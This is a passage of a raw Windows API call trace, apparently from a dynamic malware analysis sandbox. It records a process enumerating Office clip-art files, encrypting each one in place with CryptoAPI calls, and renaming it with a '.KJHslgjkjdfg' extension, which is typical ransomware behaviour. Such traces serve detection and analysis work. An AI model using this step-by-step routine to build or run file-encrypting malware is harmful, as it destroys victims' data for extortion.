ftLastWriteTime.dwLowDateTime=0xcb570900, ftLastWriteTime.dwHighDateTime=0x1bd9f2f, nFileSizeHigh=0x0, nFileSizeLow=0xd6b4, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="J0198102.WMF", cAlternateFileName="")) returned 1 [0198.384] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0198102.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0198102.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x4, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x130 [0198.385] GetProcessHeap () returned 0x990000 [0198.385] RtlAllocateHeap (HeapHandle=0x990000, Flags=0x0, Size=0x10) returned 0x9adfd0 [0198.385] CryptGenRandom (in: hProv=0x9acd90, dwLen=0x10, pbBuffer=0x9adfd0 | out: pbBuffer=0x9adfd0) returned 1 [0198.385] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x29df290 | out: lpNewFilePointer=0x0) returned 1 [0198.385] WriteFile (in: hFile=0x130, lpBuffer=0x29df2a0*, nNumberOfBytesToWrite=0xc, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x29df2a0*, lpNumberOfBytesWritten=0x29df270*=0xc, lpOverlapped=0x0) returned 1 [0198.388] CryptImportKey (in: hProv=0x9acd90, pbData=0x9b4bf8, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x29df274 | out: phKey=0x29df274*=0x9b6628) returned 1 [0198.388] CryptSetKeyParam (hKey=0x9b6628, dwParam=0x1, pbData=0x9adfd0, dwFlags=0x0) returned 1 [0198.388] GetProcessHeap () returned 0x990000 [0198.388] RtlAllocateHeap (HeapHandle=0x990000, Flags=0x0, Size=0x40) returned 0x9af7b0 [0198.389] CryptEncrypt (in: hKey=0x9b6628, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x9af7b0*, pdwDataLen=0x29df258*=0x40, dwBufLen=0x40 | out: pbData=0x9af7b0*, pdwDataLen=0x29df258*=0x40) returned 1 [0198.389] CryptDestroyKey (hKey=0x9b6628) returned 1 [0198.389] WriteFile (in: hFile=0x130, lpBuffer=0x9af7b0*, nNumberOfBytesToWrite=0x40, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x9af7b0*, lpNumberOfBytesWritten=0x29df270*=0x40, lpOverlapped=0x0) returned 1 [0198.389] WriteFile (in: hFile=0x130, lpBuffer=0x29df278*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x29df278*, lpNumberOfBytesWritten=0x29df270*=0x4, lpOverlapped=0x0) returned 1 [0198.389] WriteFile (in: hFile=0x130, lpBuffer=0x9adfd0*, nNumberOfBytesToWrite=0x10, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x9adfd0*, lpNumberOfBytesWritten=0x29df270*=0x10, lpOverlapped=0x0) returned 1 [0198.389] WriteFile (in: hFile=0x130, lpBuffer=0x9b53e0*, nNumberOfBytesToWrite=0x80, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x9b53e0*, lpNumberOfBytesWritten=0x29df270*=0x80, lpOverlapped=0x0) returned 1 [0198.389] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x29df298 | out: lpNewFilePointer=0x0) returned 1 [0198.389] WriteFile (in: hFile=0x130, lpBuffer=0x29df288*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x29df288*, lpNumberOfBytesWritten=0x29df270*=0x8, lpOverlapped=0x0) returned 1 [0198.389] CryptImportKey (in: hProv=0x9acd90, pbData=0x9b4bf8, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x29df274 | out: phKey=0x29df274*=0x9b6628) returned 1 [0198.389] CryptSetKeyParam (hKey=0x9b6628, dwParam=0x1, pbData=0x9adfd0, dwFlags=0x0) returned 1 [0198.389] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0198.389] ReadFile (in: hFile=0x130, lpBuffer=0x27d0020, nNumberOfBytesToRead=0xd6b4, lpNumberOfBytesRead=0x29df27c, lpOverlapped=0x0 | out: lpBuffer=0x27d0020*, lpNumberOfBytesRead=0x29df27c*=0xd6b4, lpOverlapped=0x0) returned 1 [0198.391] CryptEncrypt (in: hKey=0x9b6628, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x27d0020*, pdwDataLen=0x29df258*=0xd6c0, dwBufLen=0xd6c0 | out: pbData=0x27d0020*, pdwDataLen=0x29df258*=0xd6c0) returned 1 [0198.392] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0198.392] WriteFile (in: hFile=0x130, lpBuffer=0x27d0020*, nNumberOfBytesToWrite=0xd6c0, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x27d0020*, lpNumberOfBytesWritten=0x29df270*=0xd6c0, lpOverlapped=0x0) returned 1 [0198.392] CryptDestroyKey (hKey=0x9b6628) returned 1 [0198.392] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0xd794, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0198.392] SetEndOfFile (hFile=0x130) returned 1 [0198.395] GetProcessHeap () returned 0x990000 [0198.395] HeapFree (in: hHeap=0x990000, dwFlags=0x0, lpMem=0x9af7b0 | out: hHeap=0x990000) returned 1 [0198.395] GetProcessHeap () returned 0x990000 [0198.395] HeapFree (in: hHeap=0x990000, dwFlags=0x0, lpMem=0x9adfd0 | out: hHeap=0x990000) returned 1 [0198.395] MoveFileW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0198102.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0198102.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0198102.WMF.KJHslgjkjdfg" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0198102.wmf.kjhslgjkjdfg")) returned 1 [0198.397] CloseHandle (hObject=0x130) returned 1 [0198.397] FindNextFileW (in: hFindFile=0x9b64e8, lpFindFileData=0x29df300 | out: lpFindFileData=0x29df300*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xcce00a00, ftCreationTime.dwHighDateTime=0x1bd9fdf, ftLastAccessTime.dwLowDateTime=0x6600bcb0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xcce00a00, ftLastWriteTime.dwHighDateTime=0x1bd9fdf, nFileSizeHigh=0x0, nFileSizeLow=0xa520, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="J0198113.WMF", cAlternateFileName="")) returned 1 [0198.397] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0198113.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0198113.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x4, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x130 [0198.398] GetProcessHeap () returned 0x990000 [0198.398] RtlAllocateHeap (HeapHandle=0x990000, Flags=0x0, Size=0x10) returned 0x9adfd0 [0198.398] CryptGenRandom (in: hProv=0x9acd90, dwLen=0x10, pbBuffer=0x9adfd0 | out: pbBuffer=0x9adfd0) returned 1 [0198.398] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x29df290 | out: lpNewFilePointer=0x0) returned 1 [0198.398] CryptImportKey (in: hProv=0x9acd90, pbData=0x9b4d80, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x29df274 | out: phKey=0x29df274*=0x9b6628) returned 1 [0198.398] CryptSetKeyParam (hKey=0x9b6628, dwParam=0x1, pbData=0x9adfd0, dwFlags=0x0) returned 1 [0198.398] GetProcessHeap () returned 0x990000 [0198.398] RtlAllocateHeap (HeapHandle=0x990000, Flags=0x0, Size=0x40) returned 0x9af7b0 [0198.398] CryptEncrypt (in: hKey=0x9b6628, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x9af7b0*, pdwDataLen=0x29df258*=0x40, dwBufLen=0x40 | out: pbData=0x9af7b0*, pdwDataLen=0x29df258*=0x40) returned 1 [0198.398] CryptDestroyKey (hKey=0x9b6628) returned 1 [0198.398] WriteFile (in: hFile=0x130, lpBuffer=0x9af7b0*, nNumberOfBytesToWrite=0x40, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x9af7b0*, lpNumberOfBytesWritten=0x29df270*=0x40, lpOverlapped=0x0) returned 1 [0198.401] WriteFile (in: hFile=0x130, lpBuffer=0x29df278*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x29df278*, lpNumberOfBytesWritten=0x29df270*=0x4, lpOverlapped=0x0) returned 1 [0198.401] WriteFile (in: hFile=0x130, lpBuffer=0x9adfd0*, nNumberOfBytesToWrite=0x10, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x9adfd0*, lpNumberOfBytesWritten=0x29df270*=0x10, lpOverlapped=0x0) returned 1 [0198.401] WriteFile (in: hFile=0x130, lpBuffer=0x9b1ba8*, nNumberOfBytesToWrite=0x80, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x9b1ba8*, lpNumberOfBytesWritten=0x29df270*=0x80, lpOverlapped=0x0) returned 1 [0198.401] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x29df298 | out: lpNewFilePointer=0x0) returned 1 [0198.401] WriteFile (in: hFile=0x130, lpBuffer=0x29df288*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x29df288*, lpNumberOfBytesWritten=0x29df270*=0x8, lpOverlapped=0x0) returned 1 [0198.401] CryptImportKey (in: hProv=0x9acd90, pbData=0x9b4d80, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x29df274 | out: phKey=0x29df274*=0x9b6628) returned 1 [0198.401] CryptSetKeyParam (hKey=0x9b6628, dwParam=0x1, pbData=0x9adfd0, dwFlags=0x0) returned 1 [0198.401] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0198.401] ReadFile (in: hFile=0x130, lpBuffer=0x27d0020, nNumberOfBytesToRead=0xa520, lpNumberOfBytesRead=0x29df27c, lpOverlapped=0x0 | out: lpBuffer=0x27d0020*, lpNumberOfBytesRead=0x29df27c*=0xa520, lpOverlapped=0x0) returned 1 [0198.403] CryptEncrypt (in: hKey=0x9b6628, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x27d0020*, pdwDataLen=0x29df258*=0xa520, dwBufLen=0xa520 | out: pbData=0x27d0020*, pdwDataLen=0x29df258*=0xa520) returned 1 [0198.404] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0198.404] WriteFile (in: hFile=0x130, lpBuffer=0x27d0020*, nNumberOfBytesToWrite=0xa520, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x27d0020*, lpNumberOfBytesWritten=0x29df270*=0xa520, lpOverlapped=0x0) returned 1 [0198.404] CryptDestroyKey (hKey=0x9b6628) returned 1 [0198.404] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0xa5f4, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0198.404] SetEndOfFile (hFile=0x130) returned 1 [0198.407] GetProcessHeap () returned 0x990000 [0198.407] HeapFree (in: hHeap=0x990000, dwFlags=0x0, lpMem=0x9af7b0 | out: hHeap=0x990000) returned 1 [0198.407] GetProcessHeap () returned 0x990000 [0198.407] HeapFree (in: hHeap=0x990000, dwFlags=0x0, lpMem=0x9adfd0 | out: hHeap=0x990000) returned 1 [0198.407] MoveFileW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0198113.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0198113.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0198113.WMF.KJHslgjkjdfg" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0198113.wmf.kjhslgjkjdfg")) returned 1 [0198.409] CloseHandle (hObject=0x130) returned 1 [0198.409] FindNextFileW (in: hFindFile=0x9b64e8, lpFindFileData=0x29df300 | out: lpFindFileData=0x29df300*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x7633f300, ftCreationTime.dwHighDateTime=0x1c7a765, ftLastAccessTime.dwLowDateTime=0x6600bcb0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x7633f300, ftLastWriteTime.dwHighDateTime=0x1c7a765, nFileSizeHigh=0x0, nFileSizeLow=0xa3b2, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="J0198226.WMF", cAlternateFileName="")) returned 1 [0198.409] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0198226.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0198226.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x4, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x130 [0198.410] GetProcessHeap () returned 0x990000 [0198.410] RtlAllocateHeap (HeapHandle=0x990000, Flags=0x0, Size=0x10) returned 0x9adfd0 [0198.410] CryptGenRandom (in: hProv=0x9acd90, dwLen=0x10, pbBuffer=0x9adfd0 | out: pbBuffer=0x9adfd0) returned 1 [0198.410] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x29df290 | out: lpNewFilePointer=0x0) returned 1 [0198.410] WriteFile (in: hFile=0x130, lpBuffer=0x29df2a0*, nNumberOfBytesToWrite=0xe, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x29df2a0*, lpNumberOfBytesWritten=0x29df270*=0xe, lpOverlapped=0x0) returned 1 [0198.413] CryptImportKey (in: hProv=0x9acd90, pbData=0x9b4bf8, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x29df274 | out: phKey=0x29df274*=0x9b6628) returned 1 [0198.413] CryptSetKeyParam (hKey=0x9b6628, dwParam=0x1, pbData=0x9adfd0, dwFlags=0x0) returned 1 [0198.413] GetProcessHeap () returned 0x990000 [0198.413] RtlAllocateHeap (HeapHandle=0x990000, Flags=0x0, Size=0x40) returned 0x9af7b0 [0198.413] CryptEncrypt (in: hKey=0x9b6628, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x9af7b0*, pdwDataLen=0x29df258*=0x40, dwBufLen=0x40 | out: pbData=0x9af7b0*, pdwDataLen=0x29df258*=0x40) returned 1 [0198.413] CryptDestroyKey (hKey=0x9b6628) returned 1 [0198.413] WriteFile (in: hFile=0x130, lpBuffer=0x9af7b0*, nNumberOfBytesToWrite=0x40, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x9af7b0*, lpNumberOfBytesWritten=0x29df270*=0x40, lpOverlapped=0x0) returned 1 [0198.413] WriteFile (in: hFile=0x130, lpBuffer=0x29df278*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x29df278*, lpNumberOfBytesWritten=0x29df270*=0x4, lpOverlapped=0x0) returned 1 [0198.413] WriteFile (in: hFile=0x130, lpBuffer=0x9adfd0*, nNumberOfBytesToWrite=0x10, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x9adfd0*, lpNumberOfBytesWritten=0x29df270*=0x10, lpOverlapped=0x0) returned 1 [0198.413] WriteFile (in: hFile=0x130, lpBuffer=0x9b53e0*, nNumberOfBytesToWrite=0x80, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x9b53e0*, lpNumberOfBytesWritten=0x29df270*=0x80, lpOverlapped=0x0) returned 1 [0198.414] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x29df298 | out: lpNewFilePointer=0x0) returned 1 [0198.414] WriteFile (in: hFile=0x130, lpBuffer=0x29df288*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x29df288*, lpNumberOfBytesWritten=0x29df270*=0x8, lpOverlapped=0x0) returned 1 [0198.414] CryptImportKey (in: hProv=0x9acd90, pbData=0x9b4bf8, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x29df274 | out: phKey=0x29df274*=0x9b6628) returned 1 [0198.414] CryptSetKeyParam (hKey=0x9b6628, dwParam=0x1, pbData=0x9adfd0, dwFlags=0x0) returned 1 [0198.414] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0198.414] ReadFile (in: hFile=0x130, lpBuffer=0x27d0020, nNumberOfBytesToRead=0xa3b2, lpNumberOfBytesRead=0x29df27c, lpOverlapped=0x0 | out: lpBuffer=0x27d0020*, lpNumberOfBytesRead=0x29df27c*=0xa3b2, lpOverlapped=0x0) returned 1 [0198.415] CryptEncrypt (in: hKey=0x9b6628, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x27d0020*, pdwDataLen=0x29df258*=0xa3c0, dwBufLen=0xa3c0 | out: pbData=0x27d0020*, pdwDataLen=0x29df258*=0xa3c0) returned 1 [0198.416] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0198.416] WriteFile (in: hFile=0x130, lpBuffer=0x27d0020*, nNumberOfBytesToWrite=0xa3c0, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x27d0020*, lpNumberOfBytesWritten=0x29df270*=0xa3c0, lpOverlapped=0x0) returned 1 [0198.416] CryptDestroyKey (hKey=0x9b6628) returned 1 [0198.416] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0xa494, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0198.416] SetEndOfFile (hFile=0x130) returned 1 [0198.419] GetProcessHeap () returned 0x990000 [0198.419] HeapFree (in: hHeap=0x990000, dwFlags=0x0, lpMem=0x9af7b0 | out: hHeap=0x990000) returned 1 [0198.419] GetProcessHeap () returned 0x990000 [0198.419] HeapFree (in: hHeap=0x990000, dwFlags=0x0, lpMem=0x9adfd0 | out: hHeap=0x990000) returned 1 [0198.419] MoveFileW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0198226.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0198226.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0198226.WMF.KJHslgjkjdfg" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0198226.wmf.kjhslgjkjdfg")) returned 1 [0198.421] CloseHandle (hObject=0x130) returned 1 [0198.421] FindNextFileW (in: hFindFile=0x9b64e8, lpFindFileData=0x29df300 | out: lpFindFileData=0x29df300*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x7633f300, ftCreationTime.dwHighDateTime=0x1c7a765, ftLastAccessTime.dwLowDateTime=0x56536e70, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x7633f300, ftLastWriteTime.dwHighDateTime=0x1c7a765, nFileSizeHigh=0x0, nFileSizeLow=0xa69e, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="J0198234.WMF", cAlternateFileName="")) returned 1 [0198.421] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0198234.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0198234.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x4, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x130 [0198.422] GetProcessHeap () returned 0x990000 [0198.422] RtlAllocateHeap (HeapHandle=0x990000, Flags=0x0, Size=0x10) returned 0x9adfd0 [0198.422] CryptGenRandom (in: hProv=0x9acd90, dwLen=0x10, pbBuffer=0x9adfd0 | out: pbBuffer=0x9adfd0) returned 1 [0198.422] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x29df290 | out: lpNewFilePointer=0x0) returned 1 [0198.422] WriteFile (in: hFile=0x130, lpBuffer=0x29df2a0*, nNumberOfBytesToWrite=0x2, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x29df2a0*, lpNumberOfBytesWritten=0x29df270*=0x2, lpOverlapped=0x0) returned 1 [0198.425] CryptImportKey (in: hProv=0x9acd90, pbData=0x9b4d80, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x29df274 | out: phKey=0x29df274*=0x9b6628) returned 1 [0198.425] CryptSetKeyParam (hKey=0x9b6628, dwParam=0x1, pbData=0x9adfd0, dwFlags=0x0) returned 1 [0198.425] GetProcessHeap () returned 0x990000 [0198.425] RtlAllocateHeap (HeapHandle=0x990000, Flags=0x0, Size=0x40) returned 0x9af7b0 [0198.425] CryptEncrypt (in: hKey=0x9b6628, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x9af7b0*, pdwDataLen=0x29df258*=0x40, dwBufLen=0x40 | out: pbData=0x9af7b0*, pdwDataLen=0x29df258*=0x40) returned 1 [0198.425] CryptDestroyKey (hKey=0x9b6628) returned 1 [0198.425] WriteFile (in: hFile=0x130, lpBuffer=0x9af7b0*, nNumberOfBytesToWrite=0x40, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x9af7b0*, lpNumberOfBytesWritten=0x29df270*=0x40, lpOverlapped=0x0) returned 1 [0198.425] WriteFile (in: hFile=0x130, lpBuffer=0x29df278*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x29df278*, lpNumberOfBytesWritten=0x29df270*=0x4, lpOverlapped=0x0) returned 1 [0198.425] WriteFile (in: hFile=0x130, lpBuffer=0x9adfd0*, nNumberOfBytesToWrite=0x10, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x9adfd0*, lpNumberOfBytesWritten=0x29df270*=0x10, lpOverlapped=0x0) returned 1 [0198.425] WriteFile (in: hFile=0x130, lpBuffer=0x9b1ba8*, nNumberOfBytesToWrite=0x80, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x9b1ba8*, lpNumberOfBytesWritten=0x29df270*=0x80, lpOverlapped=0x0) returned 1 [0198.426] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x29df298 | out: lpNewFilePointer=0x0) returned 1 [0198.426] WriteFile (in: hFile=0x130, lpBuffer=0x29df288*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x29df288*, lpNumberOfBytesWritten=0x29df270*=0x8, lpOverlapped=0x0) returned 1 [0198.426] CryptImportKey (in: hProv=0x9acd90, pbData=0x9b4d80, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x29df274 | out: phKey=0x29df274*=0x9b6628) returned 1 [0198.426] CryptSetKeyParam (hKey=0x9b6628, dwParam=0x1, pbData=0x9adfd0, dwFlags=0x0) returned 1 [0198.426] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0198.426] ReadFile (in: hFile=0x130, lpBuffer=0x27d0020, nNumberOfBytesToRead=0xa69e, lpNumberOfBytesRead=0x29df27c, lpOverlapped=0x0 | out: lpBuffer=0x27d0020*, lpNumberOfBytesRead=0x29df27c*=0xa69e, lpOverlapped=0x0) returned 1 [0198.427] CryptEncrypt (in: hKey=0x9b6628, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x27d0020*, pdwDataLen=0x29df258*=0xa6a0, dwBufLen=0xa6a0 | out: pbData=0x27d0020*, pdwDataLen=0x29df258*=0xa6a0) returned 1 [0198.428] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0198.428] WriteFile (in: hFile=0x130, lpBuffer=0x27d0020*, nNumberOfBytesToWrite=0xa6a0, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x27d0020*, lpNumberOfBytesWritten=0x29df270*=0xa6a0, lpOverlapped=0x0) returned 1 [0198.428] CryptDestroyKey (hKey=0x9b6628) returned 1 [0198.428] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0xa774, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0198.428] SetEndOfFile (hFile=0x130) returned 1 [0198.431] GetProcessHeap () returned 0x990000 [0198.431] HeapFree (in: hHeap=0x990000, dwFlags=0x0, lpMem=0x9af7b0 | out: hHeap=0x990000) returned 1 [0198.431] GetProcessHeap () returned 0x990000 [0198.431] HeapFree (in: hHeap=0x990000, dwFlags=0x0, lpMem=0x9adfd0 | out: hHeap=0x990000) returned 1 [0198.431] MoveFileW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0198234.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0198234.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0198234.WMF.KJHslgjkjdfg" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0198234.wmf.kjhslgjkjdfg")) returned 1 [0198.433] CloseHandle (hObject=0x130) returned 1 [0198.433] FindNextFileW (in: hFindFile=0x9b64e8, lpFindFileData=0x29df300 | out: lpFindFileData=0x29df300*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x7633f300, ftCreationTime.dwHighDateTime=0x1c7a765, ftLastAccessTime.dwLowDateTime=0x56536e70, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x7633f300, ftLastWriteTime.dwHighDateTime=0x1c7a765, nFileSizeHigh=0x0, nFileSizeLow=0x6f9c, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="J0198372.WMF", cAlternateFileName="")) returned 1 [0198.433] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0198372.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0198372.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x4, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x130 [0198.434] GetProcessHeap () returned 0x990000 [0198.434] RtlAllocateHeap (HeapHandle=0x990000, Flags=0x0, Size=0x10) returned 0x9adfd0 [0198.434] CryptGenRandom (in: hProv=0x9acd90, dwLen=0x10, pbBuffer=0x9adfd0 | out: pbBuffer=0x9adfd0) returned 1 [0198.434] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x29df290 | out: lpNewFilePointer=0x0) returned 1 [0198.434] WriteFile (in: hFile=0x130, lpBuffer=0x29df2a0*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x29df2a0*, lpNumberOfBytesWritten=0x29df270*=0x4, lpOverlapped=0x0) returned 1 [0198.436] CryptImportKey (in: hProv=0x9acd90, pbData=0x9b4bf8, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x29df274 | out: phKey=0x29df274*=0x9b6628) returned 1 [0198.436] CryptSetKeyParam (hKey=0x9b6628, dwParam=0x1, pbData=0x9adfd0, dwFlags=0x0) returned 1 [0198.437] GetProcessHeap () returned 0x990000 [0198.437] RtlAllocateHeap (HeapHandle=0x990000, Flags=0x0, Size=0x40) returned 0x9af7b0 [0198.437] CryptEncrypt (in: hKey=0x9b6628, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x9af7b0*, pdwDataLen=0x29df258*=0x40, 